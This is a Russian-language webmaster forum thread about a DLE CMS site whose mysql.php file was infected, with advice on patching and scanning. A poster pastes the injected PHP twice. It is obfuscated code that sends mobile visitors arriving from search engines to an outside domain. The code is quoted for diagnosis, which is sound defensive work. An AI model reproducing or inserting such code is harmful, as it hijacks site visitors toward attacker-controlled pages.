Вирус на сайте cms dle

Вполне возможно, что у вас не только данный баг, нужно сайт проверять на все вредоносные коды.

Касперский достал ругаться на мой сайт. Я все проверил тщательно, файлы, базу смотрел. В итоге ничего не нашел. Отправил запрос в вирусную лабораторию.

Получил ответ. Так что тоже имейте ввиду, всякое бывает.

Всем доброго дня. Был в поездке, сейчас приехал и обнаружил на одном сайте (dle 10.0), в /engine/classes/mysql.php появился вот такой код:

*/

$usg = $_SERVER[strrev(strtoupper('tnega_resu_ptth'))];$ref = $_SERVER[strrev(strtoupper('tsoh_ptth'))];$rf = $_SERVER[strrev(strtoupper('rerefer_ptth'))];

if(!preg_match('/crawl|andex|oogle|bot/i',$usg)) {if(preg_match('/andex|mail|rambler|oogle/i',$rf))

{if((preg_match('/ndroid|midp|j2me|symbian|series\ 60|symbos|htc_/i',$usg)) and (!isset ($_COOKIE['dle_user_id'])) and ($_COOKIE["mt_"] != 1) and ($_COOKIE["ynd"] != 1)) 

{@setcookie('ynd', 1); header(strrev('//:pt'.'th :noi'.'tac'.'oL').$ref.'/');exit;}

else if(($_COOKIE["mt_"] != 1) && ($_COOKIE["ynd"] == 1)) {@setcookie('mt_', '1', time()+86400 * 7, '/'); header(strrev('=rerefer&1?'.'/ten.'.'lld-'.'swen'.'//:pt'.'th :noi'.'tac'.'oL').$ref);exit;}}}

код убрал, прошу спецов подсказать где копать на уязвимость.

*/
$usg = $_SERVER[strrev(strtoupper('tnega_resu_ptth'))];$ref = $_SERVER[strrev(strtoupper('tsoh_ptth'))];$rf = $_SERVER[strrev(strtoupper('rerefer_ptth'))];
if(!preg_match('/crawl|andex|oogle|bot/i',$usg)) {if(preg_match('/andex|mail|rambler|oogle/i',$rf))
{if((preg_match('/ndroid|midp|j2me|symbian|series\ 60|symbos|htc_/i',$usg)) and (!isset ($_COOKIE['dle_user_id'])) and ($_COOKIE["mt_"] != 1) and ($_COOKIE["ynd"] != 1)) 
{@setcookie('ynd', 1); header(strrev('//:pt'.'th :noi'.'tac'.'oL').$ref.'/');exit;}
else if(($_COOKIE["mt_"] != 1) && ($_COOKIE["ynd"] == 1)) {@setcookie('mt_', '1', time()+86400 * 7, '/'); header(strrev('=rerefer&1?'.'/ten.'.'lld-'.'swen'.'//:pt'.'th :noi'.'tac'.'oL').$ref);exit;}}}

проверяйте на шеллы (dle видимо не официальная)

kgtu5, у меня все официальные, с лицензией, поэтому данное обстоятельство причиной быть не может. да и вообще я не понимаю тех, кто ставит левые версии, для клиентов же можно ставить демку до 100 постов с открытым кодом, её вполне хватает, потом можно лицензию докупить.

никакие другие файлы вроде не появлялись и не менялись, комп был выключен, меня дома не было, т.е никакие пароли не могли уйти.

код не редкий, соответственно проблема должна быть в движке, последний патч установлен?

вот этот патч не был установлен: http://dle-news.ru/bags/v10/1580-potencialnaya-ugroza-v-module-minify.html

с утра его поставил, т.е это в нём дело? как обычно рассылку на мыло не сделали о его выходе.

точно сказать, что дело в нем не могу.

проверьте ай-болитом на всякий случай, вдруг чего зацепит...

Тс, хостер какой? У меня на одном хостинге постоянно ломают, на другом слава богу чисто.

И еще права на htaccess ставьте 444.

Ерунду не говорите, практический нет ни какой разницы в легальности движков на взломы.